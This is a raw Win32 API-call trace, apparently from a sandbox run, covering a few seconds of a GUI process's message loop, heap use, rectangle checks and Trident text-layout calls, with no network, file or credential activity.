[0221.467] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0221.467] GetCurrentThreadId () returned 0x4e0
[0221.467] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0221.779] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0221.779] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0221.779] GetCapture () returned 0x0
[0221.779] WindowFromPoint (Point=0x2e0) returned 0x1013a
[0221.779] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0221.779] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0221.779] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0221.779] PtInRect (lprc=0x1cf3f0, pt=0x2a6) returned 1
[0221.779] GetCurrentThreadId () returned 0x4e0
[0221.779] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0221.875] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0221.875] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0221.875] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0221.875] PtInRect (lprc=0x1cf5d0, pt=0x2f7) returned 1
[0221.875] GetCurrentThreadId () returned 0x4e0
[0221.875] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0221.875] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0221.876] GetMessageTime () returned 145236
[0221.876] GetMessagePos () returned 0x20f02e0
[0221.876] GetCapture () returned 0x0
[0221.876] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0221.876] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0221.876] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0221.876] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.876] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0221.876] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0221.876] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0221.876] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0221.876] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0221.876] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0221.876] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0221.877] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0221.877] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.877] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0221.877] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0221.877] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0221.877] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0221.877] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0221.877] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0221.877] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0221.877] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.877] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0221.877] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0221.877] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0221.877] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0221.877] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0221.877] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0221.877] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0221.877] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0221.877] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0221.877] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.877] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0221.877] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0221.877] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0221.878] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0221.878] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0221.878] LsSetDoc () returned 0x0
[0221.878] LsCreateLine () returned 0x0
[0221.878] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.879] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x496010
[0221.879] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x464950
[0221.879] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.879] LsdnFinishRegular () returned 0x0
[0221.879] LsQueryLinePointPcp () returned 0x0
[0221.879] LsDestroyLine () returned 0x0
[0221.879] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x496010 | out: hHeap=0x450000) returned 1
[0221.880] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.880] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.880] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.880] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.880] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.880] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.880] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.880] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x464950 | out: hHeap=0x450000) returned 1
[0221.880] LsSetDoc () returned 0x0
[0221.880] LsCreateLine () returned 0x0
[0221.880] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.880] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x496010
[0221.880] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x464950
[0221.881] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.881] LsdnFinishRegular () returned 0x0
[0221.881] LsQueryLineCpPpoint () returned 0x0
[0221.881] LsQueryLineCpPpoint () returned 0x0
[0221.881] LsDestroyLine () returned 0x0
[0221.881] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x496010 | out: hHeap=0x450000) returned 1
[0221.881] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.881] PtInRect (lprc=0x1cde84, pt=0x123fe) returned 0
[0221.882] PtInRect (lprc=0x1cde84, pt=0x123fe) returned 0
[0221.882] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0221.882] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0221.882] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0221.882] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0221.882] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.882] PtInRect (lprc=0x1cf24c, pt=0x123fe) returned 1
[0221.882] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
[0221.882] GetCursor () returned 0x10003
[0221.882] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0221.882] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0221.882] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0221.883] GetMessageTime () returned 145330
[0221.883] GetMessagePos () returned 0x1a40331
[0221.883] GetCapture () returned 0x0
[0221.883] GetCurrentThreadId () returned 0x4e0
[0221.883] GetCurrentThreadId () returned 0x4e0
[0221.883] GetCurrentThreadId () returned 0x4e0
[0221.883] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0221.883] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0221.883] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0221.883] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.883] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0221.883] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0221.883] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0221.883] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0221.883] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0221.883] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0221.883] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0221.883] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0221.883] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.883] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0221.883] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0221.883] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0221.883] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0221.883] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0221.883] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0221.883] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0221.883] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.884] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0221.884] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0221.884] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0221.884] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0221.884] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0221.884] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0221.884] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0221.884] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0221.884] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0221.884] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.884] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0221.884] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0221.884] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0221.884] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0221.884] LsSetDoc () returned 0x0
[0221.884] LsCreateLine () returned 0x0
[0221.884] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.885] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x496010
[0221.885] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x464950
[0221.885] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.885] LsdnFinishRegular () returned 0x0
[0221.885] LsQueryLinePointPcp () returned 0x0
[0221.885] LsDestroyLine () returned 0x0
[0221.885] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x496010 | out: hHeap=0x450000) returned 1
[0221.885] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.885] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.885] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.885] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.885] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.886] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.886] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.886] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x464950 | out: hHeap=0x450000) returned 1
[0221.886] LsSetDoc () returned 0x0
[0221.886] LsCreateLine () returned 0x0
[0221.886] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.886] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x496010
[0221.886] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x464950
[0221.886] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.886] LsdnFinishRegular () returned 0x0
[0221.887] LsQueryLineCpPpoint () returned 0x0
[0221.887] LsQueryLineCpPpoint () returned 0x0
[0221.887] LsDestroyLine () returned 0x0
[0221.887] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x496010 | out: hHeap=0x450000) returned 1
[0221.887] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.887] PtInRect (lprc=0x1cdf0c, pt=0x123fe) returned 0
[0221.887] PtInRect (lprc=0x1cdf0c, pt=0x123fe) returned 0
[0221.887] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0221.887] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0221.887] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0221.887] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0221.887] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0221.887] GetMessageTime () returned 145330
[0221.887] GetMessagePos () returned 0x1a40331
[0221.888] KillTimer (hWnd=0x10136, uIDEvent=0x2007) returned 1
[0221.888] GetCapture () returned 0x0
[0221.888] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0221.888] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0221.888] GetCurrentThreadId () returned 0x4e0
[0221.889] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0221.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0221.889] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0221.889] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0221.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0221.889] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0221.889] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0221.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0221.889] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0221.889] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x2a3, wParam=0x0, lParam=0x15402f7, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0221.889] NtdllDefWindowProc_W () returned 0x0
[0221.889] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0221.890] SetTimer (hWnd=0x10136, nIDEvent=0x2008, uElapse=0x12c, lpTimerFunc=0x0) returned 0x2008
[0221.890] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0221.890] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0221.890] GetCurrentThreadId () returned 0x4e0
[0221.890] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x15402f7, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0221.890] NtdllDefWindowProc_W () returned 0x0
[0221.890] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0221.891] GetMessageTime () returned 145330
[0221.891] GetMessagePos () returned 0x1a40331
[0221.891] GetCapture () returned 0x0
[0221.891] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0221.891] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0221.891] GetCurrentThreadId () returned 0x4e0
[0221.891] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x8004, wParam=0x0, lParam=0x15402f7, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0221.891] NtdllDefWindowProc_W () returned 0x0
[0221.891] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0221.891] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0221.891] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0221.891] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0221.892] GetCurrentThreadId () returned 0x4e0
[0221.892] GetCurrentThreadId () returned 0x4e0
[0221.892] GetCurrentThreadId () returned 0x4e0
[0221.892] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0222.200] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0222.200] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0222.200] GetCapture () returned 0x0
[0222.200] WindowFromPoint (Point=0x331) returned 0x1013a
[0222.200] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0222.200] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0222.200] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0222.200] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0222.200] GetCurrentThreadId () returned 0x4e0
[0222.200] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0222.512] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0222.512] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0222.512] GetCapture () returned 0x0
[0222.512] WindowFromPoint (Point=0x331) returned 0x1013a
[0222.512] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0222.512] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0222.512] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0222.512] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0222.512] GetCurrentThreadId () returned 0x4e0
[0222.512] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0222.824] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0222.824] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0222.824] GetCapture () returned 0x0
[0222.824] WindowFromPoint (Point=0x331) returned 0x1013a
[0222.824] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0222.824] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0222.824] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0222.824] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0222.824] GetCurrentThreadId () returned 0x4e0
[0222.825] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0223.136] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0223.136] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0223.136] GetCapture () returned 0x0
[0223.136] WindowFromPoint (Point=0x331) returned 0x1013a
[0223.136] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0223.136] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0223.136] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0223.136] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0223.136] GetCurrentThreadId () returned 0x4e0
[0223.136] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0223.458] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0223.458] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0223.458] GetCapture () returned 0x0
[0223.458] WindowFromPoint (Point=0x331) returned 0x1013a
[0223.458] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0223.458] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0223.458] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0223.458] PtInRect (lprc=0x1cf3f0, pt=0x2f7) returned 1
[0223.458] GetCurrentThreadId () returned 0x4e0
[0223.458] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0223.760] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0223.760] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0223.760] GetCapture () returned 0x0
[0223.760] WindowFromPoint (Point=0x331) returned 0x1013a
[0223.760] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0223.760] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0223.760] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
